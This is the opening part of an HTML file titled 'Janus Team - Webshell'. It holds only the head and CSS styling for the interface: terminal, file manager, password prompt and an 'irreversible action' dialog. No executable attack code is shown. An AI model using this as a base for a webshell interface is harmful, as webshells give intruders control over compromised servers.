? <!DOCTYPE html>
 <html lang="en">
 <head>
 	<meta charset="UTF-8">
 	<meta name="viewport" content="width=device-width, initial-scale=1.0">
 	<title>Janus Team - Webshell</title>
     <link rel="icon" href="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'><path fill='%23ffc777' d='M20 6h-8v16c0 4.41-3.59 8-8 8v2c5.523 0 10-4.477 10-10V6z'/></svg>">
 	<link rel="preconnect" href="https://fonts.googleapis.com"><link rel="preconnect" href="https://fonts.gstatic.com" crossorigin><link href="https://fonts.googleapis.com/css2?family=Fira+Code:wght@400;500;700&display=swap" rel="stylesheet">
 	<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.15/codemirror.min.css">
 	<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.15/theme/dracula.min.css">
 	<style>
 		:root { --font-family: 'Fira Code', monospace; --bg-dark: #1a1d24; --bg-med: #22262f; --bg-light: #2c313c; --border-color: #383e4a; --text-light: #e0e0e0; --text-med: #a0a0a0; --accent-blue: #82aaff; --accent-gold: #ffc777; --accent-red: #ff5572; --accent-green: #c3e88d; }
 		* { box-sizing: border-box; }
		body { font-family: var(--font-family); background-color: var(--bg-dark); color: var(--text-light); margin: 0; display: flex; flex-direction: column; height: 100vh; font-size: 14px; overflow: hidden; }
		.sidebar { display: none; }
		.system-info-header { background: var(--bg-med); border-bottom: 2px solid var(--border-color); padding: 1rem 1.5rem; position: relative; }
		.header-collapse-btn { display: none; position: absolute; top: 0.5rem; right: 0.5rem; background: var(--bg-light); border: 1px solid var(--border-color); color: var(--text-light); padding: 0.25rem 0.4rem; border-radius: 4px; cursor: pointer; font-size: 0.85rem; z-index: 1000; pointer-events: auto; user-select: none; }
		.header-collapse-btn:hover { background: var(--accent-blue); color: var(--bg-dark); }
		.header-collapse-btn:active { transform: scale(0.95); }
		.system-info-header-content { display: flex; justify-content: space-between; align-items: flex-start; gap: 2rem; flex-wrap: wrap; }
		.sys-info-left { flex: 1; display: grid; grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); gap: 0.5rem; font-size: 0.85rem; }
		.sys-info-item { color: var(--text-light); padding: 0.3rem 0; }
		.sys-info-item strong { color: var(--accent-blue); margin-right: 0.5rem; }
		.sys-info-right { flex-shrink: 0; text-align: right; }
		.janus-logo-container { display: flex; flex-direction: column; align-items: flex-end; }
		.janus-logo { font-family: var(--font-family); color: var(--accent-gold); text-shadow: 0 0 10px var(--accent-gold), 0 0 20px var(--accent-gold); text-align: right; white-space: pre; font-size: 11px; line-height: 1.2; margin: 0; }
		.janus-version { color: var(--accent-gold); font-size: 1.1rem; font-weight: 600; margin-top: 0.5rem; text-shadow: 0 0 5px var(--accent-gold); }
		.janus-tagline { color: var(--text-med); font-size: 0.85rem; margin-top: 0.25rem; }
		.top-navbar { background: var(--bg-med); border-bottom: 2px solid var(--border-color); padding: 0.5rem 1rem; position: sticky; top: 0; z-index: 100; box-shadow: 0 2px 10px rgba(0,0,0,0.2); display: flex; flex-direction: column; }
		.nav-collapse-btn { display: none; background: var(--bg-light); border: 1px solid var(--border-color); color: var(--text-light); padding: 0.5rem 0.75rem; border-radius: 6px; cursor: pointer; font-size: 1.2rem; margin-bottom: 0.5rem; width: 100%; }
		.nav-collapse-btn:hover { background: var(--accent-blue); color: var(--bg-dark); }
		.nav-buttons-container { display: flex; align-items: center; gap: 0.5rem; flex-wrap: wrap; overflow-x: auto; }
		.nav-buttons-container::-webkit-scrollbar { height: 4px; }
		.nav-buttons-container::-webkit-scrollbar-track { background: var(--bg-dark); }
		.nav-buttons-container::-webkit-scrollbar-thumb { background: var(--border-color); border-radius: 2px; }
		.nav-button { background: var(--bg-light); color: var(--text-light); border: 1px solid var(--border-color); padding: 0.6rem 1.2rem; border-radius: 6px; cursor: pointer; transition: all 0.2s; font-family: var(--font-family); font-size: 13px; font-weight: 500; white-space: nowrap; display: flex; align-items: center; gap: 0.5rem; text-decoration: none; }
		.nav-button:hover { background: var(--accent-blue); color: var(--bg-dark); border-color: var(--accent-blue); transform: translateY(-2px); box-shadow: 0 4px 8px rgba(130, 170, 255, 0.3); }
		.nav-button.active { background: var(--accent-blue); color: var(--bg-dark); border-color: var(--accent-blue); font-weight: 600; box-shadow: 0 4px 12px rgba(130, 170, 255, 0.4); }
		.nav-button:active { transform: translateY(0); }
 		.main-content { flex: 1; display: flex; flex-direction: column; overflow: hidden; }
 		.view-container { display: none; flex-direction: column; height: 100%; }
 		.content-header { padding: 1rem 1.5rem; background: var(--bg-med); border-bottom: 1px solid var(--border-color); font-size: 1.2rem; font-weight: 500; color: var(--text-light); flex-shrink: 0; }
 		.content-area { padding: 1.5rem; overflow-y: auto; flex: 1; }
 		#view-dashboard .content-area { display: flex; flex-direction: column; gap: 2rem; }
 		#logo-container { font-family: var(--font-family); color: var(--accent-gold); text-shadow: 0 0 10px var(--accent-gold), 0 0 20px var(--accent-gold); text-align: center; white-space: pre; font-size: 13px; line-height: 1.2; }
 		.live-stats-container { display: grid; grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); gap: 1.5rem; width: 100%; max-width: 1000px; margin: 0 auto; }
 		.stat-card { background: var(--bg-med); border: 1px solid var(--border-color); border-radius: 8px; padding: 1rem; display: flex; flex-direction: column; gap: 0.8rem; }
 		.stat-card-header { display: flex; justify-content: space-between; font-weight: 500; }
 		.stat-card-label { color: var(--accent-blue); }
 		.stat-card-percent { color: var(--text-light); }
 		.progress-bar-bg { background: var(--bg-dark); border-radius: 5px; height: 10px; width: 100%; overflow: hidden; }
 		.progress-bar-fg { background: var(--accent-blue); height: 100%; width: 0%; border-radius: 5px; transition: width 0.5s ease-out;}
 		.stat-card-details { font-size: 0.8rem; color: var(--text-med); text-align: right; }
 		.sys-info-panel { width: 100%; max-width: 1000px; margin: 0 auto; border: 1px solid var(--border-color); border-radius: 8px; background: var(--bg-med); }
 		.sys-info-panel-header { padding: 12px 18px; border-bottom: 1px solid var(--border-color); font-weight: 500; color: var(--accent-green); }
 		.blinking-cursor { animation: blink 1s step-end infinite; color: var(--accent-green); }
 		@keyframes blink { from, to { opacity: 1 } 50% { opacity: 0 } }
 		.sys-info-panel-body { padding: 18px; }
 		.sys-info-grid { display: grid; grid-template-columns: 200px 1fr; gap: 10px 20px; font-size: 13px; line-height: 1.6; }
 		.sys-info-grid span:nth-child(odd) { font-weight: 500; color: var(--accent-blue); text-align: right; }
 		.sys-info-grid span:nth-child(even) { white-space: pre-wrap; word-break: break-all; color: var(--text-light); }
		.modal { 
			display: none; 
			position: fixed; 
			z-index: 1000; 
			left: 0; 
			top: 0; 
			width: 100%; 
			height: 100%; 
			background: rgba(26, 29, 36, 0.85); 
			backdrop-filter: blur(8px) saturate(180%); 
			-webkit-backdrop-filter: blur(8px) saturate(180%);
			justify-content: center; 
			align-items: center; 
			animation: fadeIn 0.3s cubic-bezier(0.4, 0, 0.2, 1); 
		}
		.modal.show { display: flex; }
		@keyframes fadeIn { 
			from { 
				opacity: 0; 
				backdrop-filter: blur(0px);
			} 
			to { 
				opacity: 1; 
				backdrop-filter: blur(8px);
			} 
		}
		.modal-content { 
			background: linear-gradient(135deg, var(--bg-med) 0%, var(--bg-light) 100%); 
			padding: 0; 
			border-radius: 12px; 
			width: 80%; 
			border: 2px solid var(--border-color); 
			display: flex; 
			flex-direction: column; 
			max-height: 85vh; 
			box-shadow: 0 20px 60px rgba(0,0,0,0.5), 
						0 0 0 1px rgba(255,255,255,0.05) inset; 
			animation: slideUp 0.3s cubic-bezier(0.4, 0, 0.2, 1); 
			overflow: hidden;
			position: relative;
		}
		.modal-content::before {
			content: '';
			position: absolute;
			top: 0;
			left: 0;
			right: 0;
			height: 3px;
			background: linear-gradient(90deg, var(--accent-blue), var(--accent-gold), var(--accent-blue));
			background-size: 200% 100%;
			animation: shimmer 3s linear infinite;
		}
		@keyframes shimmer {
			0% { background-position: -200% 0; }
			100% { background-position: 200% 0; }
		}
		@keyframes slideUp { 
			from { 
				transform: translateY(30px) scale(0.95); 
				opacity: 0; 
			} 
			to { 
				transform: translateY(0) scale(1); 
				opacity: 1; 
			} 
		}
		.modal-header { 
			display: flex; 
			justify-content: space-between; 
			align-items: center; 
			margin-bottom: 0; 
			padding: 1.5rem;
			background: linear-gradient(135deg, var(--bg-light) 0%, var(--bg-med) 100%);
			border-bottom: 2px solid var(--border-color);
		}
		.modal-header h3 { 
			margin: 0; 
			font-weight: 600; 
			color: var(--accent-gold); 
			font-size: 1.3rem;
			display: flex;
			align-items: center;
			gap: 0.5rem;
		}
		.modal-body { 
			overflow-y: auto; 
			flex: 1; 
			padding: 1.5rem;
		}
		.close { 
			font-size: 2rem; 
			cursor: pointer; 
			color: var(--text-med); 
			transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1); 
			line-height: 1; 
			width: 32px;
			height: 32px;
			display: flex;
			align-items: center;
			justify-content: center;
			border-radius: 50%;
			background: transparent;
		}
		.close:hover { 
			color: var(--accent-red); 
			background: rgba(255, 77, 77, 0.1);
			transform: rotate(90deg) scale(1.1);
		}
		.close:active {
			transform: rotate(90deg) scale(0.95);
		}
		
		/* Password Modal Styling */
		.password-modal-content { width: 90%; max-width: 500px; padding: 2rem; }
		.password-modal-header { border-bottom: 2px solid var(--border-color); padding-bottom: 1rem; margin-bottom: 1.5rem; }
		.password-modal-header h3 { font-size: 1.5rem; color: var(--accent-blue); display: flex; align-items: center; gap: 0.5rem; }
		.password-modal-body { display: flex; flex-direction: column; gap: 1.5rem; }
		.password-info-box { background: linear-gradient(135deg, var(--bg-light) 0%, var(--bg-med) 100%); border: 2px solid var(--accent-blue); border-radius: 12px; padding: 1.5rem; text-align: center; position: relative; overflow: hidden; }
		.password-info-box::before { content: ''; position: absolute; top: -50%; left: -50%; width: 200%; height: 200%; background: radial-gradient(circle, rgba(130, 170, 255, 0.1) 0%, transparent 70%); animation: rotate 20s linear infinite; }
		@keyframes rotate { from { transform: rotate(0deg); } to { transform: rotate(360deg); } }
		.password-icon { font-size: 3rem; margin-bottom: 1rem; animation: bounce 2s ease-in-out infinite; position: relative; z-index: 1; }
		@keyframes bounce { 0%, 100% { transform: translateY(0); } 50% { transform: translateY(-10px); } }
		.password-hint { color: var(--text-light); font-size: 1rem; margin: 0 0 1rem 0; position: relative; z-index: 1; }
		.password-display { display: flex; align-items: center; justify-content: center; gap: 1rem; background: var(--bg-dark); padding: 1rem; border-radius: 8px; margin-top: 1rem; position: relative; z-index: 1; border: 1px solid var(--accent-gold); }
		.password-label { color: var(--text-med); font-size: 0.9rem; font-weight: 500; }
		.password-value { color: var(--accent-gold); font-size: 1.2rem; font-weight: 700; font-family: 'Courier New', monospace; letter-spacing: 2px; text-shadow: 0 0 10px var(--accent-gold); }
		.copy-password-btn { background: var(--accent-blue); border: none; color: var(--bg-dark); padding: 0.5rem 1rem; border-radius: 6px; cursor: pointer; font-size: 1rem; transition: all 0.3s; font-weight: 500; }
		.copy-password-btn:hover { background: #9dc1ff; transform: scale(1.05); box-shadow: 0 4px 12px rgba(130, 170, 255, 0.4); }
		.copy-password-btn:active { transform: scale(0.95); }
		.password-input-group { position: relative; z-index: 1; }
		.password-input-group label { display: block; color: var(--text-light); font-weight: 500; margin-bottom: 0.5rem; font-size: 0.95rem; }
		.password-input-group input[type="password"] { width: 100%; padding: 1rem; background: var(--bg-dark); border: 2px solid var(--border-color); border-radius: 8px; color: var(--text-light); font-size: 1.1rem; font-family: 'Courier New', monospace; letter-spacing: 3px; transition: all 0.3s; box-sizing: border-box; }
		.password-input-group input[type="password"]:focus { outline: none; border-color: var(--accent-blue); box-shadow: 0 0 0 3px rgba(130, 170, 255, 0.2); transform: scale(1.02); }
		.password-error { color: var(--accent-red); font-size: 0.9rem; margin-top: 0.5rem; min-height: 1.5rem; display: flex; align-items: center; gap: 0.5rem; opacity: 0; transition: opacity 0.3s; }
		.password-error.show { opacity: 1; animation: shake 0.5s; }
		@keyframes shake { 0%, 100% { transform: translateX(0); } 25% { transform: translateX(-10px); } 75% { transform: translateX(10px); } }
		.password-modal-actions { display: flex; gap: 1rem; justify-content: flex-end; margin-top: 1rem; position: relative; z-index: 1; }
		.password-btn-cancel, .password-btn-submit { padding: 0.75rem 2rem; border: none; border-radius: 8px; font-size: 1rem; font-weight: 600; cursor: pointer; transition: all 0.3s; font-family: var(--font-family); }
		.password-btn-cancel { background: var(--bg-light); color: var(--text-light); border: 2px solid var(--border-color); }
		.password-btn-cancel:hover { background: var(--bg-dark); border-color: var(--text-med); transform: translateY(-2px); }
		.password-btn-submit { background: linear-gradient(135deg, var(--accent-blue) 0%, #9dc1ff 100%); color: var(--bg-dark); box-shadow: 0 4px 15px rgba(130, 170, 255, 0.3); }
		.password-btn-submit:hover { transform: translateY(-2px); box-shadow: 0 6px 20px rgba(130, 170, 255, 0.5); }
		.password-btn-submit:active { transform: translateY(0); }
		.password-btn-submit:disabled { opacity: 0.6; cursor: not-allowed; transform: none; }
		
		/* Irreversible Confirmation Modal Styling */
		.irreversible-modal-content {
			width: 90%;
			max-width: 450px;
			padding: 0;
			border: 2px solid var(--accent-red);
			background: linear-gradient(135deg, #1a0a0a 0%, #2d0f0f 50%, #1a0a0a 100%);
			box-shadow: 0 0 40px rgba(220, 53, 69, 0.8),
						0 0 80px rgba(220, 53, 69, 0.4),
						inset 0 0 25px rgba(220, 53, 69, 0.1);
			position: relative;
			overflow: hidden;
		}
		
		.irreversible-modal-content::before {
			content: '';
			position: absolute;
			top: 0;
			left: 0;
			right: 0;
			bottom: 0;
			background: repeating-linear-gradient(
				0deg,
				transparent,
				transparent 2px,
				rgba(220, 53, 69, 0.03) 2px,
				rgba(220, 53, 69, 0.03) 4px
			);
			pointer-events: none;
		}
		
		.irreversible-modal-header {
			background: linear-gradient(135deg, #dc3545 0%, #c82333 50%, #bd2130 100%);
			padding: 1rem 1.5rem;
			border-bottom: 2px solid rgba(255, 255, 255, 0.2);
			position: relative;
			z-index: 1;
		}
		
		.irreversible-modal-header h3 {
			margin: 0;
			font-size: 1.3rem;
			font-weight: 700;
			color: #ffffff;
			text-shadow: 0 0 15px rgba(255, 255, 255, 0.5),
						0 2px 8px rgba(0, 0, 0, 0.5);
			letter-spacing: 0.5px;
			text-transform: uppercase;
			animation: warningPulse 2s ease-in-out infinite;
		}
		
		@keyframes warningPulse {
			0%, 100% {
				text-shadow: 0 0 20px rgba(255, 255, 255, 0.5),
							0 2px 10px rgba(0, 0, 0, 0.5);
			}
			50% {
				text-shadow: 0 0 30px rgba(255, 255, 255, 0.8),
							0 2px 15px rgba(0, 0, 0, 0.7),
							0 0 40px rgba(255, 0, 0, 0.6);
			}
		}
		
		.irreversible-modal-header .close {
			color: #ffffff;
			font-size: 2rem;
			font-weight: 300;
			opacity: 0.8;
			transition: all 0.3s;
		}
		
		.irreversible-modal-header .close:hover {
			opacity: 1;
			transform: scale(1.2);
			text-shadow: 0 0 10px rgba(255, 255, 255, 0.8);
		}
		
		.irreversible-modal-body {
			padding: 1.5rem;
			position: relative;
			z-index: 1;
		}
		
		.irreversible-warning-box {
			background: linear-gradient(135deg, rgba(220, 53, 69, 0.1) 0%, rgba(200, 35, 51, 0.15) 100%);
			border: 2px solid rgba(220, 53, 69, 0.5);
			border-radius: 10px;
			padding: 1.25rem;
			text-align: center;
			position: relative;
			overflow: hidden;
			box-shadow: inset 0 0 25px rgba(220, 53, 69, 0.2),
						0 0 30px rgba(220, 53, 69, 0.3);
		}
		
		.irreversible-warning-box::before {
			content: '';
			position: absolute;
			top: -50%;
			left: -50%;
			width: 200%;
			height: 200%;
			background: radial-gradient(circle, rgba(220, 53, 69, 0.15) 0%, transparent 70%);
			animation: rotate 15s linear infinite;
		}
		
		.irreversible-icon {
			font-size: 3.5rem;
			margin-bottom: 0.75rem;
			animation: skullFloat 3s ease-in-out infinite;
			position: relative;
			z-index: 1;
			filter: drop-shadow(0 0 15px rgba(220, 53, 69, 0.8));
		}
		
		@keyframes skullFloat {
			0%, 100% {
				transform: translateY(0) rotate(0deg);
			}
			25% {
				transform: translateY(-10px) rotate(-5deg);
			}
			75% {
				transform: translateY(-10px) rotate(5deg);
			}
		}
		
		.irreversible-title {
			font-size: 1.4rem;
			font-weight: 700;
			color: var(--accent-red);
			margin-bottom: 0.75rem;
			text-transform: uppercase;
			letter-spacing: 1px;
			text-shadow: 0 0 15px rgba(220, 53, 69, 0.8),
						0 2px 8px rgba(0, 0, 0, 0.5);
			position: relative;
			z-index: 1;
			animation: titleShake 0.5s ease-in-out infinite;
		}
		
		@keyframes titleShake {
			0%, 100% {
				transform: translateX(0);
			}
			25% {
				transform: translateX(-2px);
			}
			75% {
				transform: translateX(2px);
			}
		}
		
		.irreversible-message {
			font-size: 0.95rem;
			color: var(--text-light);
			margin-bottom: 1.25rem;
			line-height: 1.5;
			position: relative;
			z-index: 1;
			font-weight: 500;
		}
		
		.irreversible-details {
			display: flex;
			flex-direction: column;
			gap: 0.75rem;
			margin-top: 1.25rem;
			position: relative;
			z-index: 1;
		}
		
		.irreversible-detail-item {
			display: flex;
			align-items: center;
			gap: 0.75rem;
			background: rgba(0, 0, 0, 0.3);
			padding: 0.75rem;
			border-radius: 6px;
			border-left: 3px solid var(--accent-red);
			transition: all 0.3s;
		}
		
		.irreversible-detail-item:hover {
			background: rgba(220, 53, 69, 0.1);
			transform: translateX(5px);
			border-left-width: 6px;
		}
		
		.detail-icon {
			font-size: 1.2rem;
			filter: drop-shadow(0 0 4px rgba(220, 53, 69, 0.6));
		}
		
		.detail-text {
			color: var(--text-light);
			font-size: 0.85rem;
			font-weight: 500;
			flex: 1;
		}
		
		.irreversible-modal-actions {
			display: flex;
			gap: 1rem;
			justify-content: center;
			margin-top: 1.5rem;
			position: relative;
			z-index: 1;
		}
		
		.irreversible-btn-cancel,
		.irreversible-btn-confirm {
			padding: 0.75rem 1.5rem;
			border: none;
			border-radius: 6px;
			font-size: 0.9rem;
			font-weight: 700;
			cursor: pointer;
			transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
			font-family: var(--font-family);
			text-transform: uppercase;
			letter-spacing: 0.5px;
			position: relative;
			overflow: hidden;
		}
		
		/* Confirmation Modal Styling */
		.confirm-modal-content {
			width: 90%;
			max-width: 500px;
			padding: 0;
			border: 2px solid var(--accent-blue);
			background: linear-gradient(135deg, var(--bg-med) 0%, var(--bg-light) 100%);
			box-shadow: 0 15px 40px rgba(0, 0, 0, 0.5);
			overflow: hidden;
			animation: modalSlideIn 0.3s cubic-bezier(0.4, 0, 0.2, 1);
		}
		
		.confirm-modal-header {
			background: linear-gradient(135deg, var(--accent-blue) 0%, #9dc1ff 100%);
			padding: 1.5rem;
			text-align: center;
			border-bottom: 2px solid var(--accent-blue);
		}
		
		.confirm-modal-header h3 {
			margin: 0;
			font-size: 1.3rem;
			color: var(--bg-dark);
			font-weight: 700;
			display: flex;
			align-items: center;
			justify-content: center;
			gap: 0.5rem;
		}
		
		.confirm-modal-header .close {
			color: var(--bg-dark);
			font-size: 1.8rem;
			opacity: 0.8;
			transition: all 0.3s ease;
		}
		
		.confirm-modal-header .close:hover {
			opacity: 1;
			color: var(--accent-red);
			transform: rotate(90deg);
		}
		
		.confirm-modal-body {
			padding: 2rem;
			text-align: center;
		}
		
		.confirm-icon {
			font-size: 4rem;
			margin-bottom: 1rem;
			animation: pulse 2s ease-in-out infinite;
		}
		
		@keyframes pulse {
			0%, 100% { transform: scale(1); }
			50% { transform: scale(1.1); }
		}
		
		.confirm-message {
			color: var(--text-light);
			font-size: 1.1rem;
			line-height: 1.6;
			margin: 0 0 1.5rem 0;
			word-wrap: break-word;
		}
		
		.confirm-message strong {
			color: var(--accent-gold);
			font-weight: 600;
		}
		
		.confirm-modal-actions {
			display: flex;
			gap: 1rem;
			justify-content: center;
			margin-top: 1.5rem;
		}
		
		.confirm-btn-cancel,
		.confirm-btn-ok {
			padding: 0.85rem 2rem;
			border: none;
			border-radius: 8px;
			font-size: 1rem;
			font-weight: 600;
			cursor: pointer;
			transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
			font-family: var(--font-family);
			min-width: 120px;
			position: relative;
			overflow: hidden;
		}
		
		.confirm-btn-cancel {
			background: linear-gradient(135deg, var(--bg-light) 0%, var(--bg-med) 100%);
			color: var(--text-light);
			border: 2px solid var(--border-color);
			box-shadow: 0 4px 15px rgba(0, 0, 0, 0.2);
		}
		
		.confirm-btn-cancel:hover {
			background: var(--bg-dark);
			border-color: var(--text-med);
			transform: translateY(-2px);
			box-shadow: 0 6px 20px rgba(0, 0, 0, 0.3);
		}
		
		.confirm-btn-cancel:active {
			transform: translateY(0);
		}
		
		.confirm-btn-ok {
			background: linear-gradient(135deg, var(--accent-blue) 0%, #9dc1ff 100%);
			color: var(--bg-dark);
			box-shadow: 0 4px 15px rgba(130, 170, 255, 0.4);
		}
		
		.confirm-btn-ok:hover {
			transform: translateY(-2px);
			box-shadow: 0 6px 20px rgba(130, 170, 255, 0.6);
		}
		
		.confirm-btn-ok:active {
			transform: translateY(0);
		}
		
		.confirm-btn-danger {
			background: linear-gradient(135deg, var(--accent-red) 0%, #ff6b6b 100%);
			color: white;
			box-shadow: 0 4px 15px rgba(255, 77, 77, 0.4);
		}
		
		.confirm-btn-danger:hover {
			transform: translateY(-2px);
			box-shadow: 0 6px 20px rgba(255, 77, 77, 0.6);
		}
		
		/* Input Modal Styling */
		.input-modal-content {
			width: 90%;
			max-width: 500px;
			padding: 0;
			border: 2px solid var(--accent-blue);
			background: linear-gradient(135deg, var(--bg-med) 0%, var(--bg-light) 100%);
			box-shadow: 0 15px 40px rgba(0, 0, 0, 0.5);
			overflow: hidden;
			animation: modalSlideIn 0.3s cubic-bezier(0.4, 0, 0.2, 1);
		}
		
		@keyframes modalSlideIn {
			from {
				opacity: 0;
				transform: translateY(-30px) scale(0.95);
			}
			to {
				opacity: 1;
				transform: translateY(0) scale(1);
			}
		}
		
		.input-modal-header {
			background: linear-gradient(135deg, var(--accent-blue) 0%, #9dc1ff 100%);
			padding: 1.5rem;
			text-align: center;
			border-bottom: 2px solid var(--accent-blue);
		}
		
		.input-modal-header h3 {
			margin: 0;
			font-size: 1.3rem;
			color: var(--bg-dark);
			font-weight: 700;
			display: flex;
			align-items: center;
			justify-content: center;
			gap: 0.5rem;
		}
		
		.input-modal-header .close {
			color: var(--bg-dark);
			font-size: 1.8rem;
			opacity: 0.8;
			transition: all 0.3s ease;
		}
		
		.input-modal-header .close:hover {
			opacity: 1;
			color: var(--accent-red);
			transform: rotate(90deg);
		}
		
		.input-modal-body {
			padding: 2rem;
			text-align: center;
		}
		
		.input-icon {
			font-size: 4rem;
			margin-bottom: 1rem;
			animation: pulse 2s ease-in-out infinite;
		}
		
		.input-label {
			color: var(--text-light);
			font-size: 1rem;
			margin-bottom: 1rem;
			font-weight: 500;
		}
		
		.input-field {
			width: 100%;
			padding: 1rem;
			border: 2px solid var(--border-color);
			border-radius: 8px;
			background: var(--bg-dark);
			color: var(--text-light);
			font-size: 1rem;
			font-family: var(--font-family);
			transition: all 0.3s ease;
			margin-bottom: 0.5rem;
			box-sizing: border-box;
		}
		
		.input-field:focus {
			outline: none;
			border-color: var(--accent-blue);
			box-shadow: 0 0 0 3px rgba(130, 170, 255, 0.2);
			transform: translateY(-2px);
		}
		
		.input-error {
			color: var(--accent-red);
			font-size: 0.9rem;
			min-height: 1.5rem;
			margin-bottom: 1rem;
			opacity: 0;
			transition: opacity 0.3s ease;
		}
		
		.input-error.show {
			opacity: 1;
		}
		
		.input-modal-actions {
			display: flex;
			gap: 1rem;
			justify-content: center;
			margin-top: 1.5rem;
		}
		
		.input-btn-cancel,
		.input-btn-ok {
			padding: 0.85rem 2rem;
			border: none;
			border-radius: 8px;
			font-size: 1rem;
			font-weight: 600;
			cursor: pointer;
			transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
			font-family: var(--font-family);
			min-width: 120px;
			position: relative;
			overflow: hidden;
		}
		
		.input-btn-cancel {
			background: linear-gradient(135deg, var(--bg-light) 0%, var(--bg-med) 100%);
			color: var(--text-light);
			border: 2px solid var(--border-color);
			box-shadow: 0 4px 15px rgba(0, 0, 0, 0.2);
		}
		
		.input-btn-cancel:hover {
			background: var(--bg-dark);
			border-color: var(--text-med);
			transform: translateY(-2px);
			box-shadow: 0 6px 20px rgba(0, 0, 0, 0.3);
		}
		
		.input-btn-cancel:active {
			transform: translateY(0);
		}
		
		.input-btn-ok {
			background: linear-gradient(135deg, var(--accent-blue) 0%, #9dc1ff 100%);
			color: var(--bg-dark);
			box-shadow: 0 4px 15px rgba(130, 170, 255, 0.4);
		}
		
		.input-btn-ok:hover {
			transform: translateY(-2px);
			box-shadow: 0 6px 20px rgba(130, 170, 255, 0.6);
		}
		
		.input-btn-ok:active {
			transform: translateY(0);
		}
		
		.input-btn-ok:disabled {
			opacity: 0.6;
			cursor: not-allowed;
			transform: none;
		}
		
		.irreversible-btn-cancel {
			background: linear-gradient(135deg, var(--bg-light) 0%, var(--bg-med) 100%);
			color: var(--text-light);
			border: 2px solid var(--border-color);
			box-shadow: 0 4px 15px rgba(0, 0, 0, 0.3);
		}
		
		.irreversible-btn-cancel:hover {
			background: linear-gradient(135deg, var(--bg-med) 0%, var(--bg-light) 100%);
			transform: translateY(-3px);
			box-shadow: 0 6px 20px rgba(0, 0, 0, 0.4);
		}
		
		.irreversible-btn-confirm {
			background: linear-gradient(135deg, #dc3545 0%, #c82333 50%, #bd2130 100%);
			color: #ffffff;
			border: 2px solid rgba(255, 255, 255, 0.3);
			box-shadow: 0 4px 20px rgba(220, 53, 69, 0.6),
						0 0 30px rgba(220, 53, 69, 0.4),
						inset 0 1px 0 rgba(255, 255, 255, 0.2);
			animation: confirmPulse 2s ease-in-out infinite;
		}
		
		@keyframes confirmPulse {
			0%, 100% {
				box-shadow: 0 4px 20px rgba(220, 53, 69, 0.6),
							0 0 30px rgba(220, 53, 69, 0.4),
							inset 0 1px 0 rgba(255, 255, 255, 0.2);
			}
			50% {
				box-shadow: 0 4px 30px rgba(220, 53, 69, 0.8),
							0 0 50px rgba(220, 53, 69, 0.6),
							inset 0 1px 0 rgba(255, 255, 255, 0.3);
			}
		}
		
		.irreversible-btn-confirm::before {
			content: '';
			position: absolute;
			top: 0;
			left: -100%;
			width: 100%;
			height: 100%;
			background: linear-gradient(90deg, transparent, rgba(255, 255, 255, 0.3), transparent);
			transition: left 0.5s;
		}
		
		.irreversible-btn-confirm:hover::before {
			left: 100%;
		}
		
		.irreversible-btn-confirm:hover {
			background: linear-gradient(135deg, #e63946 0%, #d62839 50%, #c82333 100%);
			transform: translateY(-3px) scale(1.05);
			box-shadow: 0 6px 30px rgba(220, 53, 69, 0.8),
						0 0 60px rgba(220, 53, 69, 0.6),
						inset 0 1px 0 rgba(255, 255, 255, 0.3);
		}
		
		.irreversible-btn-confirm:active {
			transform: translateY(-1px) scale(1.02);
			box-shadow: 0 2px 15px rgba(220, 53, 69, 0.6),
						inset 0 2px 4px rgba(0, 0, 0, 0.3);
		}
		
		.irreversible-btn-confirm:focus {
			outline: none;
			box-shadow: 0 4px 20px rgba(220, 53, 69, 0.6),
						0 0 30px rgba(220, 53, 69, 0.4),
						0 0 0 4px rgba(220, 53, 69, 0.4);
		}
		
 		.file-manager-controls { display: flex; justify-content: space-between; align-items: center; }
 		#cwd { flex-grow: 1; margin-right: 1rem; }
 		.results-table { width: 100%; border-collapse: collapse; margin-top: 1rem; }
 		.results-table th, .results-table td { padding: 12px 15px; text-align: left; border-bottom: 1px solid var(--border-color); white-space: nowrap; }
 		.results-table th { background: var(--bg-light); font-weight: 500; }
 		.file-manager tr:hover { background: var(--bg-light); }
 		.results-table td { white-space: pre-wrap; word-break: break-all; }
 		.file-manager .fname { cursor: pointer; transition: color 0.2s; }
 		.file-manager .fname:hover { filter: brightness(1.2); }
 		.file-manager .actions a { cursor: pointer; margin: 0 8px; font-size: 1.1rem; text-decoration: none; display: inline-block; transition: transform 0.2s; }
 		.file-manager .actions a:hover { transform: scale(1.2); }
 		.fname-dir-writable { color: var(--accent-green); } .fname-dir-unwritable { color: var(--accent-red); } .fname-file-writable { color: var(--text-light); } .fname-file-unwritable { color: var(--text-med); }
 		.file-manager .perms-col { font-family: monospace; color: var(--text-med); }
 		.terminal { background: #0d1117; padding: 1rem; flex: 1; overflow-y: auto; white-space: pre-wrap; word-wrap: break-word; line-height: 1.6; }
 		#term-output { color: var(--text-light); }
 		.term-prompt { display: flex; align-items: center; }
 		#term-user-host { color: var(--accent-green); }
 		#term-cwd { color: var(--accent-blue); margin-left: 5px;}
 		.term-prompt .prompt-symbol { color: var(--accent-gold); margin: 0 8px; }
 		#term-input { width: 100%; background: transparent; border: none; color: var(--text-light); font-family: var(--font-family); font-size: 14px; outline: none; }
 		input[type="text"], input[type="password"], input[type="number"], textarea, select { background: var(--bg-dark); color: var(--text-light); border: 1px solid var(--border-color); padding: 10px 12px; border-radius: 6px; font-family: var(--font-family); font-size: 14px; transition: border-color 0.2s, box-shadow 0.2s; }
 		input[type="text"]:focus, input[type="password"]:focus, input[type="number"]:focus, textarea:focus { outline: none; border-color: var(--accent-blue); box-shadow: 0 0 0 2px rgba(130, 170, 255, 0.3); }
 		button { cursor: pointer; background: var(--accent-blue); color: var(--bg-dark); border: none; padding: 10px 18px; border-radius: 6px; font-family: var(--font-family); font-weight: 500; font-size: 14px; transition: background 0.2s, transform 0.1s; }
 		button:hover { background: #9dc1ff; }
 		button:active { transform: scale(0.98); }
		button.danger-btn { background: var(--accent-red); color: var(--text-light); }
		button.danger-btn:hover { background: #ff7991; }
		
